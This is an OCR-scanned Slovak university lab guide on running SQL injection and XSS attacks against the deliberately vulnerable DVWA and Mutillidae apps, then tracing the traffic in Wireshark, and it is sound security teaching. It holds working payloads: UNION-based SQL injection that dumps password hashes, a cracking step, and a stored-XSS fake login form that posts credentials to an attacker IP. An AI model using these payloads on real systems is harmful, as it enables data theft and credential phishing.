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Instrukcie a scenar

V tomto cvic¢eni vykondte dva webové Utoky a to SQL Injection a Cross-Site Scripting (XSS). Pri SQL
Injection si vyskusate ako zistit ¢i webova aplikacia obsahuje tuto zranitelnost a ako Utoénik postupuje pri
zneutziti tejto zranitelnosti. Zrealizujete SQL Injection Utok na webovu aplikdciu DVWA na serveri
Metasploitable a nasledne budete mat za Ulohu vykonat SQL Injection Gtok na aplikaciu mutillidae, tiez na
serveri Metasploitable. V dalSej ¢asti vykonate dva typy utokov XSS na aplikdciu DVWA (reflected a stored).
V zévere preskimate niektoré moznosti ako predist tymto Gtokom.

Damn Vulnerable Web Application (DVWA) je webova aplikacia PHP/MySQL, ktora je vysoko zranitelna.
DVWA je pomockou pre bezpecnostnych profesionalov pri testovani ich schopnosti a nastrojov v legalnom
prostredi (teda prostredi kde je to povolené), poméct webovym vyvojarom lepsie pochopit procesy
zabezpecenia webovych aplikacii a pomoct studentom dozvediet sa o bezpecnosti webovych aplikacii

v kontrolovanom laboratérnom prostredi. Ciefom DVWA je precvicit si niektoré z najbeznejsich webovych
zranitelnosti s r6znymi Urovilami obtiaZnosti. Tvorcovia upozornuju, Ze tento softvér ma zdokumentované aj
nezdokumentované zranitelnosti a Ze je to zdmer, a odporucaju pouzivatelom objavit ¢o najviac problémov
a zranitelnosti.

V zévere cviCenia budete analyzovat dany typ Utoku vo Wiresharku. Tomuto typu Gtoku je problematické
zabranit na drovni siete, a preto nase zistenie mozeme poskytnut vyvojarovi webovej aplikacie, ktory danu
zranitelnost méze odstranit.

Toto laboratdrne cvicenie vzniklo na zaklade tohto oficidlneho Netacad labu a jeho doplnenim o redlne
generovanie Utokov a analyzu readlnych dat, a nie demo Udajov:

e 17.2.6 — Attacking a MySQL Database
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Poziadavky

e Topoldgia v GNS3 alebo vo VirtualBox-e
e Skolskd OpenVPN alebo pripojenie z laboratéria na KIS

Pouzivatelia
Nazov Meno Heslo
KALI LiINuX
kali kali
METASPLOITABLE
msfadmin msfadmin
SECURITY ONION
analyst cyberops
CYBEROPS WORKSTATION
analyst cyberops

Cast 1: SQL Injection a XSS utok

V tejto Casti si vyskusate SQL Injection a XSS Utoky. Vsetky utoky budete vykonavat zo zariadenia Kali Linux
a smerovat ich budete na webové aplikacie zariadenia Metasploitable.

Upozornenie: KedZe v nasledujucej ¢asti 2 budeme chciet analyzovat jednotlivé pakety z Gtoéného toku, je
potrebné aby ste mali pocas bodov 1. aZ 3. z tejto Casti 1 zapnuty Wireshark na rozhrani ethO na zariadeni
Security Onion, na ktoré sa nam zrkadli prevadzka (pomocou SPAN), ktora je smerovana na server
Metasploitable. Toto neplati pre tych, ktori pracuju vo VirtualBox-e — tito Studenti mdzu analyzovat
prevadzku priamo na serveri Metasploitable (alebo Kali Linux), pomocou nastroja Wireshark, ktory si tiez
nezabudnite zapnut, a neskorsiu analyzu spravite priamo tam.

1. Prihlasenie sa do aplikacie DVWA na serveri Metasploitable
a. Otvorime webovy prehliadac Firefox
i. Zadame URL do prehliadaca: 192.168.3.2/dvwa/
e Upozornenie: V pripade, Ze pracujete vo VirtualBox-e, tak zadavate vasu IP
adresu pre Metasploitable
ii. Nasledne sa prihlasime do aplikacie:
e Meno: admin
e Heslo: password
iii. Nastavime Security level na low:
e Klikneme na DVWA Security
e Vyberieme zo ScrollBoxu ,low” a ddme Submit
2. SQL Injection utok - Uvod
a. Vaplikacii klikneme na SQL Injection
i. Popis zranitelnosti: SQL Injection je chyba v aplikacii, ktord umoZznuje utocnikovi
upravovat dotazy do SQL databazy
ii. Vtejto aplikdcii sa do databdazy posiela takyto dotaz:
® "SELECT first name, last name FROMusers WHERE user id="'$id"'"
e Ako prvy prikaz zaddme do Text-Boxu: ' OR '1'="1"#
e A potvrdime cez Submit.

iii. Dotaz, ktory sa posle do databdazy vyzera nasledovne:
SELECT first name, last name FROMusers WHEREuser id="'' OR '1'='l"#.'

Vytvorené v ramci projektu KEGA 026TUKE-4/2021 Katedra informacnych sieti, FRI, UNIZA



RBI / LAB 06 / Webové Gtoky SQL Injection a XSS

iv. KedZe podmienka WHERE bude splnena pomocou: '' OR '1'="'1"#, tak databaza
posle odpoved, kde sa budu nachddzat Udaje first name a last name vSetkych
Uctov.

e Znak # sluZi v dotaze ako komentadr, pouZiva sa to kvoli tomu, aby sa
dalsie prikazy zakomentovali a nevykonali sa.
3. SQL Injection utok — UNION

a. Ak aplikacia obsahuje zranitelnost SQL Injection, a dotaz obsahuje prikaz SELECT, je
mozné vyuzit tuto zranitelnost na ziskanie dalSich Udajov z databazy pomocou
prikazu UNTION.

b. Klucové slovo UNION sluzi na vykovanie jedného alebo dalSich viacero SELECT dotazov.
UNION pripoji vysledky k povodnému dotazu.

c. Priklad (vloZené casti cez UNION su zvyraznené zltym):

i. SELECT first name, last name FROMusers WHERE user id=5 UNION
SELECT username, password FROM users;

ii. Aby UNION dotaz fungoval, musia byt splnené dve podmienky:
e Prvy SELECT a UNION SELECT musia mat rovnaky poéet stipcov
e Typy Udajov v prvom SELECT a UNION SELECT musia byt
rovnaké (v MySQL databdazach toto pravidlo neplati)
o Priklad:
= first_name (varchar) musi byt rovnaky typ udaju
ako username (varchar)
= |ast_name (varchar) musi byt rovnaky typ udajov
ako password (varchar)
e Na zistenie poctu stipcov pozadovanych pri SQL Injection UNION dtoku
existuju dve techniky
a. Prva metdda sa pouziva pomocou prikazu ORDER BY &islo. Akje

.....

i. ' ORDER BY 1#
ii. ' ORDER BY 2#
ii. ' ORDER BY 3#
iv. ' ORDER BY 4#
V. ' ORDER BY XXX#

b. Druhd metdda pouziva prikaz
UNION SELECT podet NULL stlipcov#. Pritejto metdde
skusame pocdet NULL stipcov pomocou prikazu UNION
SELECT dokym nam server nevypisSe chybu napr.
i. ' UNION SELECT NULL#
ii. ' UNION SELECT NULL,NULL#
iii. ' UNION SELECT NULL,NULL,..... , NULL#
c. V pripade ak nam server nevypise chybu, sme zistili kolko stipcov
pouZiva prvy SELECT dotaz
e Vyskusajte si tieto dve metddy a zistite poet stipcov v dotaze, ktory
obsahuje SQL Injection zranitelnost
e Nasledne, ked vieme kolko stipcov pouziva dotaz, musime zistit typy
stipcov. To dosiahneme pomocou kombinécie prikazov podobnych ako
v druhej metdde, avsak budeme vymieniat NULL za ‘typ Udaju’. Ak typ
udaju nebude zhodny, server vypise chybu.
Priklad (tento pripad nemusite sku3at, kedZe pouZivame MySQL databazu):
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a. ' UNION >
Typ Prikaz
Oracle SELECT banner FROM vSversion
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MysQL SELECT @@version
SELECT 'a',NULL,..... , NULL#
b. ' UNION SELECT NULL,'a',..... , NULL#
c. ' UNION SELECT NULL,NULL,..... ,lat#

iii. Priformulovani zloZitejsich typov Utokov, je potrebné poznat verziu databazy. Verziu

databazy zistime pomocou UNION SELECT, ak sa jedna o MySQL databazu:
e ' UNION select (@@version,NULL#

iv. DalSou uzito¢nou informaciou st Udaje z pohladu (view) information_schema.tables
(vSetky databdzy okrem Oracle maju tento pohlad). Pomocou tohto pohladu mézete
zistit tabulky v databaze pomocou prikazu:

SELECT table name from information schema.tables

v. Upravte tento prikaz na UNION SELECT tak, aby ste zistili tabulky, ktoré sa
nachdadzaju v databaze

vi. V pripade ak ste pouzili spravny prikaz:

' UNION SELECT null,table name FROM information schema.tables#
mali by sa vdm zobrazit v Surname mena tabuliek z databazy. KedZe utocénik
zvyc€ajne pomocou SQL Injection hlada uZito¢né Udaje, snazi sa zistit, ¢i existuje
tabulka user/users, kde sa nachddzaju hesld a mena pouzivatelov.

vii. Preto overime, Ci existuje users tabulka pomocou prikazu:
' UNION SELECT null, table name FROM information schema.tables
where table name = 'users'#

viii. Nasledne zistime, ¢i nejaka tabulka obsahuje stlpec password pomocou prikazu:
' UNION SELECT table name,column name FROM information schema.columns#

Nasledne pouZijeme ALT+F3 a ddme hladat password a zistime, Ze existuje tabulka
users, kde sa nachadza stipec password
ix. Ked mame tieto informdcie, ziskajte Udaje user apassword ztabulky users
pomocou UNION dotazu.
e Vo vysledku si ulozte mend a hesla, ktoré budete este potrebovat
4. Cross-site scripting
Cross-site scripting (XSS) je webova bezpecnostna zranitelnost, kedy Utocénik vklada Skodlivé skripty
do webovej stranky a tato stranka tieto skripty spusta. Existuju tri typy XSS:

Stored XSS — Skodlivy kéd sa nachadza v poZiadavke HTTP
Reflected XSS — Skodlivy kod sa nachadza vo webovej databaze
DOM XSS — skodlivy kéd skor existuje v kdde na strane klienta ako na strane servera

a. V aplikacii klikneme na XSS reflected
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vi.

Vii.

viii.

Xi.

Xii.

xiii.

Do Text-boxu napiSeme svoje meno a ddme Submit.

Nasledne skopirujeme URL
Napr.192.168.3.2/dvwa/vulnerabilities/xss r/?name=Martin#
Nasledne namiesto vasho mena vloZime skript:

<script>alert ('HACKED')</script>

Vyslednda URL adresa by mala vyzerat takto:
http://x.x.x.x/dvwa/vulnerabilities/xss r/?name=<script>alert ('

HACKED')</script>
Nasledne stla¢ime Enter.
e Popiste vysledok danej operacie
Utoc¢nik by mohol vlozit akykolvek skript do URL adresy a poslat to svojej obeti.

e Vlozte tento kdd do Text-boxu a dajte Sumbit.

e <form action=http://192.168.2.1>Meno:<br><input
type="username" name="username"></br>Heslo:<br><input ty
pe="password" name="password"></br><br><input type="subm
it" value="Prihlasit sa"></br>

a. Aky ste dostali vysledok?
Utocnik by mohol skopirovat URL adresu, poslat svojej obeti, ktora by vyplnila tidaje
a stlacila Prihlasit sa. Nasledne by poslala Ziadost na zadanu IP adresu napr. server
utocnika.
Nasledne vyberieme XSS stored
Vasou ulohou bude pouzit kéd z kroku vii (<form action..)
KedZe Message ma nastavenu hodnotu maxlenght=50, musite si ju zvadsit. Stladte
F12 a zmerite hodnotu na 500.

e Ak sa vam podarilo zvacsit tuto hodnotu, tak do “Name” napiste svoje meno,

a do Message skopirujte kéd z kroku vii (<form action..)

a dajte Sign Guestbook. Popiste vysledok.
KedZe sa jedna o Stored XSS, toto okno je uloZené v databaze, a kazdy kto by
sa prihlasil do aplikacie, by videl tento prihlasovaci formular.
Ak by obet vyplnila Udaje, a stlacila tla¢idlo Prihlasit sa, Gdaje by sa poslali na IP
adresu, ktord sme zadali.

5. SQL Injection utok na aplikaciu Mutillidae na zariadeni Metasploitable
a. Otvorte si prehliadac¢ a zadajte URL: 192.168.3.2/mutillidae/

Upozornenie: V pripade, Ze pracujete vo VirtualBox-e, tak zaddvate vasu IP adresu
pre Metasploitable

b. Tato webovad aplikacia obsahuje niekolko webovych zranitelnosti
c. Prejdite do: OWASP Top 10 -> Al — Injection -> SQLi — Extract Data -> User Info

Pomocou SQL Injection utoku zistite z tohto prihlasovacieho formulara tieto udaje:
e Pocet stipcov pozadovanych pri SQL Injection ttoku
e Tabulky, ktoré sa nachadzaju v MySQL databaze
e Zistite mena stfpcov z tabuliek credit cards, accounts. Tieto mend
stipcov si niekde ulozte budete ich potrebovat v daldej tlohe
e Zobrazte vietky Udaje z tabuliek credit cards, accounts
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Cast 2: Analyza Webového utoku

V tejto Casti si prezriete a budete analyzovat SQL Injection Utok vo Wireshark-u na zariadeni Security Onion.
Dany utok bol smerovany na webovu aplikaciu dvwa, ktora patri zariadeniu Metasploitable.

Upozornenie: Ak pracujete vo VirtualBox-e, tak analyzu spravite v nastroji Wireshark na serveri
Metasploitable (alebo Kali Linux).

1. Prezrite SQL Injection utok
V tomto kroku uvidite zaciatok utoku.
a. Vo Wireshark-u kliknite pravym tla¢idlom mysi na riadok, v ktorom je zachytena GET
poziadavka s SQL Injection utokom, ktory ste vykonali v ¢ast 1. bod 2. a vyberte Follow >

HTTP Stream.
No. Time Source Destination Protoc Len Info
12022-10-29 15:35:.. 192.168.2.2 192.168.3.2 TCP 78 56910 —~ 80 [SYN] Segq=0 Win=64240 Len=0 M55=1460 SACK_PERM=1 TSval=2642085500 TSecr=0 W5=128
12022-10-29 15:35:.. 192.168.3.2 192.168.2.2 TCP 74 88 — 56910 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=@ MS55=1466 SACK_PERM=1 TSval=139614 TSecr=2642085500 V
+2022-10-29 15:35:.. 192.168.2.2 192.168.3.2 TCP 70 56910 — 80 [ACK] Seg=1 Ack=1 Win=64256 Len=8 TSval=2642885520 TSecr=139614
: 8.2.2 3.2 271%27%23&5ubmit=Submit HTTP/1.1
-10-29 15: 192, 2 .2 Mark/Unmark Packet Crl+M B9617 1Secr-2642085622
-10-29 192, 2 2.2 TCP 1. Ignore/Unignore Packet ctrl+D 1=139620 TSecr=2642085622 [TCP segment of a reas
-10-29 192. 2 .2 TCP . - X Bval=139620 TSecr=2642085522 [TCP segment of a r
19-29 15:35 192.168.3.2 A¢ 7 TCF 6 [TCP Du Set/Unset Time Reference Ctrl+T i 880 Len=b TSval=139620 T¢ 2642085522
10-29 135, 192, .3, .2, TCP ! Bval=139620 TSecr=2642085522 [TCP segment of a r
: Time Shift.. Curl=shift+T al=2642085569 TSecr=139620
""" Packet Comment... Ctrl+Alt+C

Ethernet II, Src: cB:02:7a:d3:00:00 (c0:02:7a:d3:00:00), Dst: 8c Edit Resolved Name
802.1Q Virtual LAN, PRI: @, DEI: @, ID: 1 N
Internet Protocol Version 4, Src: 192.168.2.2, Dst: 192.168.3.2 Apply as Filter
Transmission Control Protocol, Src Port: 56916, Dst Port: 80, Se Prepare a Filter
Hypertext Transfer Protocol

rFrvvww

Conversation Filter
Colorize Conversation
SCTP

v vy v v v

TCP Stream Ctrl+Alt+Shift+T

Te be 20 00 B0 cb B2 7a d3 00 0P B1 0O OO 01 ~n Z
00 45 B8 @2 37 cf 01 40 00 3f 06 ed 6a cB a8 - E- -7 - @
02 cO a8 03 02 de 4e @O 50 a3 09 7f ab 9d 3e s N
2d 80 18 @1 f6 bc 96 OO0 00 0L 01 @B @a 8d Tb  --- oo o
92 00 B2 21 5e 47 45 G54 20 2f 64 76 77 61 27 InGE T
75 6Cc Be 65 72 61 62 69 6c 69 74 69 65 73 2f  vulnerab i
71 6c 69 2f 3f 69 64 3d 25 32 37 2b 4f 52 2b  sqli/?id =
32 37 31 25 32 37 25 33 44 25 32 37 31 256 32 R2Ti%2TH

Copy
Protocol Preferences 3

Decode As...
show Packet in New Window

b. Zdrojbvé poiiadavké je zobrazend &ervenou farbou. Zdroj poslal poziadavku GET na hostitela
192.168.3.2. V modrej farbe cielové zariadenie odpoveda spat na zdroj.
c. Do pola Find zadajte ‘1’="1". Kliknite na Find Next.
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Wireshark - Follow HTTP Stream (tcp.stream eq 0) - eth0 - o X

GET /dvwa/vulnerabilities/sqli/?id=%27+0R+%271%27%30%271%27%23&5ubmit=Submit HTTP/1.1 |+
Host: 192.168.3.2

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:91.8) Gecko/28180101 Firefox/91.0

Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://192.168.3.2/dvwa/vulnerabilities/sqli/

Cookie: security=low; PHPSESSID=0d73eeedb7Gbaab5cBafdff47991ar9l
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK I

Date: Sat, 29 Oct 2822 15:35:83 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.18
Pragma: no-cache

Cache-Control: no-cache, must-revalidate
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Content-Length: 4665

Keep-Alive: timeout=15, max=18@
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtmll/
OTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html;
charset=UTF-8" />

Packet 12. 1 client pkt, 1 server pkt, 1 tumn. Click to select.

Entire conversation (5,528 bytes) - Show and save data as | ASCII -

Find: [1'="1 || Find Next |

Filter Out This Stream Print Save as... Back Close Help

d. Utoé¢nik zadal vstup (* OR '1'='1"#)do vyhladavacieho pola User ID na cielovej adrese
192.168.3.2, aby zistil, ¢i je aplikacia zranitelnha voci SQL injection. Namiesto toho, aby
aplikdcia odpovedala spravou o chybnom vstupe, poslala zdznamy z databazy. Uto¢nik overil,
Ze moOze zadat prikaz SQL a databdza odpovie. Vyhladavaci retazec
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' OR '1'='1"# vytvoriSQL prikaz, ktory bude vidy pravdivy.
Wireshark - Follow HTTP Stream (tcp.stream eq 0) - eth0 - o0 x
security.php">DVWA Security</a»</1i»<1i onclick="window.location='../../phpinfo.php'" -

class=""=<a href="../../phpinfo.php">PHP Info</a></1i><li
onclick="window.location="../../about.php'" class=""=»<a href="../../about.php"=About</

a»</li»</ul><ul><li onclick="window.location="../../logout.php'" class=""><a
href="../../logout.php">Logout</a></li></ul>
</div=
</div>

<div id="main_body">

=div class="body_padded">
<hi=Vulnerability: SQL Injection</hil=

=div class="vulnerable_code_area"=
<h3>User ID:</h3>

<form action="#" method="GET"=>

<input type="text" name="id">

<input type="submit" name="Submit" value="Submit">
</Torm>

<pre>ID: ' OR "1'="1'#<br>First name: admin<br>Surname: admin</
pre><pre>ID: ' OR 'EREE!"'#<br>First name: Gordon<br>Surname: Brown</pre><pre>ID: ' OR
'1'="1"#<br=First name: Hack<br=Surname: Me</pre=<pre=ID: ' OR '1'="1'#<br=First name:
Pablo<br>Surname: Picasso</pre><pre>ID: ' OR '1'='1'#<br>First name: Bob<br>Surname:
Smith</pre>

</div> -

1 client pkt, 1 server pkt, 1 turn.
Entire conversation (5,528 bytes) - Show and save data as | ASCI -

Find: [1'="1] || Find Next

Filter Out This Stream Print Save as... Back Close Help

. Zatvorte okno Follow HTTP Stream.
f.  Kliknutim na Clear display filter zobrazite celt konverzaciu Wireshark-u.

*eth0 - o x

Eile Edit View Go Capture Analyze Statistics Telephony Wirelpss Tools Help

= o B = =
mage RN QEnEFEI=EQQQE
[ [tep.stream eq 0 | B3EQ0 -] Expression.. +
No. Time Source Destination Protoc Len Info el =

12022-10-29 15:35:.. 192.168.2.2 192.163.3.2 TCP 78 56910 - 80 [SYN] Seq=0 Win=64248 Len=0 M55=1460 SACK_PERM=1 TSval=2642..
( 12022-10-29 15:35:.. 192.168.3.2 102.168.2.2 TCP 74 80 — 56910 [SYN, ACK] Seq=@ Ack=1 Win=5782 Len=0 MSS=1460 SACK_PERM=1 ..

2. SQL Injection utok poskytuje systémové informacie
Utocnik pokracuje a zacina sa zameriavat na konkrétnejsie informécie.
a. Vo Wireshark-u kliknite pravym tlac¢idlom mysi na riadok, kde sa nachadza GET poziadavka, v
ktorej ste pomocou SQL Injection Utoku zistili verziu databazy a vyberte Follow > HTTP
Stream. Cervenou farbou je zobrazena zdrojova prevadzka a odosiela poziadavku GET
hostitelovi 192.168.3.2. V modrej farbe cielové zariadenie odpoveda spat na zdroj.
b. Do pola Find zadajte: version, NULL. Kliknite na Find Next.
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c. Utoénik zadal vstup (' UNION select @@version,NULL#)do vyhladdvacieho pola User
ID na cielovej adrese 192.168.3.2, aby nasiel verziu databazy.

Wireshark - Follow HTTP Stream (tcp.stream eq 0) - eth0 - o X

<div class="body_padded"=> I -
<hi=Yulnerability: SQL Injection</hi>

<div class="vulnerable_code_area">
<h3>User ID:</h3>

<form action="#" method="GET"=

<input type="text" name="id">

<input type="submit" name="Submit" value="Submit">
</form=

<pre>ID: ' UNION SELECT G@EERCLPLNNl#<br>First name:
5.8.51a-3ubuntub<br>=Surname: </pre>

</div>

<h2=More info</h2=>
<ul=
<li><a href="http://hiderefer.com/?http:// www.securiteam.com/

-

3 client pkts, 3 server pkts, 5 tumns.

Entire conversation (15 kB) - Show and save data as | ASCII v
Find: |wersion, NULL Find Mext
Filter Out This Stream Print Save as... Back Close Help

i.  Akaje verzia databazy?
d. Zatvorte okno Follow HTTP Stream.
e. Kliknutim na Clear display filter zobrazite celt konverzaciu Wireshark-u.
3. SQL Injection utok a informacie o tabulke
Utoénik vie, Ze existuje velké mnoZstvo SQL tabuliek, ktoré su pIné informdcii. Utoénik sa ich snazi
najst.
a. Vo Wireshark-u kliknite pravym tla¢idlom mysi na riadok, kde sa nachddza GET poZiadavka,
v ktorej ste pomocou SQL Injection Utoku zistili nazvy tabuliek v databdaze a vyberte Follow >
HTTP Stream. Zdroj je zobrazeny ¢ervenou farbou. Odoslal pozZiadavku GET na hostitela
192.168.3.2. V modrej farbe cielové zariadenie odpoveda spat na zdroj.
Do pola Find zadajte: users. Kliknite na Find Next.
Utoénik zadal vstup
(" UNION SELECT null, table name FROM information schema.tables#)
do vyhladavacieho pola User ID na cielovej adrese 192.168.3.2, aby sa zobrazili vSetky
tabulky v databaze.
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Wireshark - Follow HTTP Stream (tcp.stream eq 1) - eth0 - o X
<br>Surname: STATISTICS</pre><pre>ID: ' UNION SELECT NULL, table_name from -
information_schema.tables#<br=First name: <br=>Surname: TABLES</pre><pre=ID: ' UNION

SELECT HNULL, table_name from information_schema.tables#<br>First name: <br>Surname:
TABLE_CONSTRAINTS</pre=<pre=ID: ' UNION SELECT NULL, table_name from
information_schema.tables#<br=First name: <br=Surname: TABLE PRIVILEGES</pre=<pre=ID: '
UNION SELECT NULL, table_name Trom information_schema.tables#<br=First name:
<br=Surname: TRIGGERS</pre=<pre>ID: ' UNION SELECT NULL, table_name from
information_schema.tables#<br>First name: <br>Surname: USER_PRIVILEGES</pre><pre>ID: '
UNION SELECT NULL, table name from information_schema.tables#<br=First name:
<br=Surname: VIEWS</pre><pre>ID: ' UNION SELECT NULL, table name from
information_schema.tables#<br>First name: <br>Surname: guestbook</pre>EiEEiV T
SELECT MNULL, table name from information_schema.tables#<br=First name: <br>Surname:
MEE R <pre>ID: ' UNION SELECT NULL, table_name from
information_schema.tables#<br>First name: <br>Surname: columns_priv</pre><pre>ID: '
UNION SELECT NULL, table_name from information_schema.tables#<br>First name:
<br=Surname: db</pre><pre>ID: ' UNION SELECT NULL, table_name from
information_schema.tables#<br>First name: <br=Surname: func</pre><pre=ID: ' UNION
SELECT NULL, table_name from information_schema.tables#<br=First name: <br>Surname:
help_category</pre><pre>ID: ' UNION SELECT NULL, table_name from
information_schema.tables#<br>First name: <br=Surname: help_keyword</pre=<pre=ID: '
UNION SELECT NULL, table name from information_schema.tables#<br=First name:

<br=Surname: help_relation</pre><pre>ID: ' UNION SELECT NULL, table_name from -
l-c.fr;nrpkt.- .I server-;:lkt. 1 f.Uﬂ"I.- o ) ; . i o ; . - - T
Entire conversation (34 kB) - Show and save data as ASCII -
Find: |users
Filter Out This Stream Print Save as... Back Close Help

i.  Co by pre ttoénika urobil upraveny prikaz (' UNION SELECT
null,table name FROM information schema.tables where

table name = 'users'#)?
d. Zatvorte okno Follow HTTP Stream.
e. Kliknutim na Clear display filter zobrazite celt konverzaciu Wireshark-u.
4. Zaver SQL Injection utoku
Utok kon&i tym, ze ziska hashe hesiel.

a. Vo Wireshark-u kliknite pravym tla¢idlom mysi na riadok, kde sa nachddza GET poZiadavka,
v ktorej ste pomocou SQL Injection Utoku zistili meno a heslo pouzivatelov z databazy a
vyberte Follow > HTTP Stream. Zdroj je zobrazeny ¢ervenou farbou. Odoslal poZiadavku GET
na hostitela 192.168.3.2. V modrej farbe cielové zariadenie odpoveda spat na zdroj.
Do pola Find zadajte: user, password. Kliknite na Find Next.
Utoénik zadal vstup (" UNION select user,password from users#)do
vyhladdvacieho pola User ID na cielovej adrese 192.168.3.2, aby ziskal pouZivatelské mena a
hashe hesiel.

Wireshark - Follow HTTP Stream (tcp.stream eq 2) - eth0 - o0 x

k' <gdiv class="vulnerable code_area"> -
<h3>User ID:</h3>

<form action="#" method="GET">

<input type="text" name="id">

<input type="submit" name="Submit" wvalue="Submit">
</Torm=

<pre=ID: " UNION SELECT from users#<br>First name:
admin<br=Surname: 5T4dcc3bbaa’76bd61d8327deb882cT99</pre><pre>ID: ' UNION SELECT
user,password from users#<br>First name: gordonb<br>Surname:
£99a18c428ch38d5T260853678922e03</pre><pre>ID: ' UNION SELECT user,password from
users#<br>First name: 1337<br=Surname: Bd3533d75ae2c3966d7e0d4fcc69216b</pre><pre>ID: '
UNION SELECT user,password from users#<br=First name: pablo<br=Surname:
Bd107de9T5bbedBcadeddebc7le9edb7</pre><pre>ID: ' UNION SELECT user,password from
users#<br=First name: smithy<br=Surname: 5T4dcc3b5aa765d61d8327deb882cTd9</pre>

</div=

<h2>More info</h2>
<ul> -

1 client pkt, 1 server pkt, 1 turn.

Entire conversation (5,916 bytes) - Show and save data as | ASCII -
Find: | user,password Find Mext
Filter Out This Stream Print Sawe as... Back Close Help
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d. Ktory pouzivatel ma hash hesla 8d3533d75ae2¢c3966d7e0d4fcc69216b?
e. Pomocou webovej stranky, ako je https://crackstation.net/, skopirujte hash hesla do
nastroja na prelomenie hesla a ziskajte plain-text heslo.
i.  Aké je heslo vo formate obycajného textu (plain-text heslo)?
f.  Zatvorte okno Follow HTTP Stream. Zatvorte vSetky otvorené okna.

Otazky na zamyslenie
1. Aké je riziko, ked' platformy pouzivaju jazyk SQL?
2. Prezrite si internet a vyhladajte ,prevent SQL injection attacks”. Aké su 2 metddy alebo kroky, ktoré
mozno podniknut na zabranenie SQL injection Gtokom?

Zaver

V tomto cviceni sme si ukazali na praktickej ukazke ako vyzeraju webové Utoky SQL Injection a XSS.

Pre oSetrenie SQL Injection sa pouzivaju tzv. parameterized queries (zname aj ako pripravené prikazy
(prepared statements). Dal$im o$etrenim moze byt validacia vstupu od uZivatela pomocou whitelistu alebo
blacklistu.

Pre oSetrenie XSS sa odporuca
= Filtrovat vstup od pouzivatela
= Kddovat Gdaje na vystupe
= Pouzit vhodné headers (hlavicky) odpovede napr. Contant-Type a X-Content-Type-Options
= Pouzit Content Security Policy (CSP) na zniZenie zavaznosti vSetkych zranitelnosti XSS.
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